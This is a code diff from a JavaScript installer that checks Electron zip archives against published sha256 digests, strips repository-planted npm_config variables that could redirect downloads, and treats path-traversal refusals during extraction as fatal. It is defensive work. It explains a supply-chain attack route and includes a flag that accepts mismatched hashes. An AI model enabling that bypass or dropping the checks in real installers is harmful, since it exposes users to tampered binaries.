* `no-digest` is ALLOWED and merely marked. An electron package that predates
|
|
231
|
+
* `checksums.json` has no anchor through no fault of its own, and refusing it
|
|
232
|
+
* would push that machine into a permanent re-download loop for a file no
|
|
233
|
+
* download can improve.
|
|
234
|
+
*
|
|
235
|
+
* `unreadable` is refused whatever the policy says: bytes that cannot be hashed
|
|
236
|
+
* cannot be extracted either, so there is nothing to fail open to.
|
|
237
|
+
*/
|
|
238
|
+
function verifyArtifact({ zip, anchor, fileName, policy = {}, fs = fsDefault, log = () => {} }) {
|
|
239
|
+
const expected = expectedDigest(anchor, fileName);
|
|
240
|
+
if (!expected) {
|
|
241
|
+
log(`[amicus] NOTE: no published sha256 for ${fileName} (this electron package ships no`);
|
|
242
|
+
log('[amicus] checksums.json entry for it), so its bytes could not be verified.');
|
|
243
|
+
return { verdict: 'no-digest', allowed: true };
|
|
244
|
+
}
|
|
245
|
+
let actual;
|
|
246
|
+
try {
|
|
247
|
+
actual = sha256File(zip, fs);
|
|
248
|
+
} catch (e) {
|
|
249
|
+
return { verdict: 'unreadable', allowed: false, reason: `could not hash ${fileName}: ${(e && e.message) || e}` };
|
|
250
|
+
}
|
|
251
|
+
if (actual === expected) { return { verdict: 'verified', allowed: true, actual }; }
|
|
252
|
+
if (policy.allowUnverified) {
|
|
253
|
+
log(`[amicus] WARNING: AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 — accepting ${fileName} even though`);
|
|
254
|
+
log(`[amicus] its sha256 ${actual} does not match the published ${expected}.`);
|
|
255
|
+
log('[amicus] Unset that variable to fail closed.');
|
|
256
|
+
return { verdict: 'mismatch', allowed: true, expected, actual };
|
|
257
|
+
}
|
|
258
|
+
return { verdict: 'mismatch', allowed: false, expected, actual };
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
/**
|
|
262
|
+
* A COPY of env for the runInstaller SPAWN. Never mutates the argument.
|
|
263
|
+
*
|
|
264
|
+
* electron's own install.js honours `npm_config_electron_mirror` (through
|
|
265
|
+
* @electron/get) AND `npm_config_electron_use_remote_checksums` (its lines 47-50,
|
|
266
|
+
* which turns its bundled pin off), so spawning it with an unfiltered
|
|
267
|
+
* `{...process.env}` would funnel a blocked attacker straight into an unpinned
|
|
268
|
+
* downloader. `npm_config_platform` / `npm_config_arch` (its lines 20-21 and 99)
|
|
269
|
+
* choose WHICH artifact it fetches, so they are removed too and amicus's own
|
|
270
|
+
* resolution is pinned through `ELECTRON_INSTALL_PLATFORM`/`_ARCH`, which
|
|
271
|
+
* install.js ranks above them.
|
|
272
|
+
*
|
|
273
|
+
* LEAVES ALONE, deliberately — every one of these is a BARE name a repository
|
|
274
|
+
* cannot plant, so it is the machine owner's: `ELECTRON_MIRROR`,
|
|
275
|
+
* `ELECTRON_CUSTOM_*`, `electron_config_cache`, `ELECTRON_CACHE`,
|
|
276
|
+
* `electron_use_remote_checksums`, `HTTP_PROXY`/`HTTPS_PROXY`/`ELECTRON_GET_USE_PROXY`.
|
|
277
|
+
*/
|
|
278
|
+
function scrubbedChildEnv({ env = process.env, platform, arch } = {}) {
|
|
279
|
+
const out = { ...env };
|
|
280
|
+
for (const name of Object.keys(out)) {
|
|
281
|
+
if (isRepoPlantedName(name)) { delete out[name]; }
|
|
282
|
+
}
|
|
283
|
+
if (platform) { out.ELECTRON_INSTALL_PLATFORM = platform; }
|
|
284
|
+
if (arch) { out.ELECTRON_INSTALL_ARCH = arch; }
|
|
285
|
+
return out;
|
|
286
|
+
}
|
|
287
|
+
|
|
288
|
+
module.exports = {
|
|
289
|
+
electronTrustPolicy,
|
|
290
|
+
resolveAnchor,
|
|
291
|
+
expectedDigest,
|
|
292
|
+
verifyArtifact,
|
|
293
|
+
sha256File,
|
|
294
|
+
artifactFileName,
|
|
295
|
+
scrubbedChildEnv,
|
|
296
|
+
normalizeV,
|
|
297
|
+
REPO_ENV_PREFIXES,
|
|
298
|
+
ELECTRON_INSTALL_TARGET_ENV,
|
|
299
|
+
};
|
package/src/sidecar/unzip.js
CHANGED
|
@@ -17,6 +17,8 @@
|
|
|
17
17
|
* the exact electron zip the field box choked on.
|
|
18
18
|
* 3. Only report success when files actually landed on disk. The electron
|
|
19
19
|
* exe-stat verify stays upstream (electron-quarantine.verifyExtractOutcome).
|
|
20
|
+
* Layer 2 has ONE exception: a path-traversal REFUSAL is terminal and is never
|
|
21
|
+
* retried natively (UNSAFE_PATTERNS below).
|
|
20
22
|
*
|
|
21
23
|
* Everything network/spawn/timer-facing is dependency-INJECTABLE so tests never
|
|
22
24
|
* hit the real clock, spawn a real process, or extract a real binary.
|
|
@@ -28,6 +30,32 @@ const path = require('path');
|
|
|
28
30
|
const fsDefault = require('fs');
|
|
29
31
|
const { spawnSync } = require('child_process');
|
|
30
32
|
|
|
33
|
+
/**
|
|
34
|
+
* A SECURITY REFUSAL IS A REFUSAL, NOT A RETRY (M9).
|
|
35
|
+
*
|
|
36
|
+
* Strategy 1 used to collapse a stall, a plain throw, and extract-zip's / yauzl's
|
|
37
|
+
* own path-traversal refusals into ONE branch that cleans the directory and re-runs
|
|
38
|
+
* the IDENTICAL archive through OS extractors amicus does not control — laundering
|
|
39
|
+
* a "this archive tried to escape its directory" into an unsupervised retry.
|
|
40
|
+
*
|
|
41
|
+
* These four strings are verified against the installed versions:
|
|
42
|
+
* extract-zip@2.0.1 raises `Out of bound path "<dir>" found while processing file <n>`
|
|
43
|
+
* yauzl@2.10.0 validateFileName returns the other three, raised as new Error(msg).
|
|
44
|
+
* NOTE: with strictFileNames unset (extract-zip's default) yauzl rewrites
|
|
45
|
+
* backslashes before validating, so `invalid characters in fileName: ` is not
|
|
46
|
+
* reachable through extract-zip today. Classified anyway — it costs one line and
|
|
47
|
+
* yauzl's defaults can change.
|
|
48
|
+
*
|
|
49
|
+
* DELIBERATELY NARROW. A stall must still fall back, or the Node-24 workaround
|
|
50
|
+
* this whole module exists for is destroyed.
|
|
51
|
+
*/
|
|
52
|
+
const UNSAFE_PATTERNS = [
|
|
53
|
+
/^Out of bound path /,
|
|
54
|
+
/^absolute path: /,
|
|
55
|
+
/^invalid relative path: /,
|
|
56
|
+
/^invalid characters in fileName: /,
|
|
57
|
+
];
|
|
58
|
+
|
|
31
59
|
// No-progress window: if extract-zip reports no new entry for this long AND has
|
|
32
60
|
// not settled, treat it as the silent stall. Reset on every onEntry so a slow-
|
|
33
61
|
// but-progressing extract is never falsely aborted.
|
|
@@ -162,6 +190,8 @@ function runExtractZipBounded({ zip, dir, onEntry, extractZip, idleMs, maxMs, se
|
|
|
162
190
|
* @param {object} [opts.deps] injected { fs, extractZip, spawn, setTimeout, clearTimeout, log }
|
|
163
191
|
* @returns {Promise<{strategy:string, fallback?:boolean, extractZipReason?:string}>}
|
|
164
192
|
* @throws {Error} code 'UNZIP_ALL_FAILED' when no strategy produced files.
|
|
193
|
+
* @throws {Error} code 'UNZIP_UNSAFE_ARCHIVE' when the archive was REFUSED for a
|
|
194
|
+
* path-traversal attempt — terminal, with no native retry (see UNSAFE_PATTERNS).
|
|
165
195
|
*/
|
|
166
196
|
async function robustExtract(zip, opts = {}) {
|
|
167
197
|
const {
|
|
@@ -202,6 +232,16 @@ async function robustExtract(zip, opts = {}) {
|
|
|
202
232
|
return { strategy: 'extract-zip' };
|
|
203
233
|
}
|
|
204
234
|
|
|
235
|
+
// TERMINAL: the archive was REFUSED for trying to write outside `dir`. Never
|
|
236
|
+
// cleanDir (the partial output is evidence), never fall back — handing the same
|
|
237
|
+
// archive to tar/Expand-Archive would ask a tool with no such check to do what
|
|
238
|
+
// extract-zip just declined to.
|
|
239
|
+
if (!z.ok && UNSAFE_PATTERNS.some((p) => p.test(z.reason || ''))) {
|
|
240
|
+
const err = new Error(`refusing to extract ${zip}: ${z.reason}`);
|
|
241
|
+
err.code = 'UNZIP_UNSAFE_ARCHIVE';
|
|
242
|
+
throw err;
|
|
243
|
+
}
|
|
244
|
+
|
|
205
245
|
// extract-zip stalled / threw / produced nothing → clean partial output, go native.
|
|
206
246
|
const zipReason = z.ok ? 'extract-zip produced no files' : z.reason;
|
|
207
247
|
cleanDir(fs, dir);
|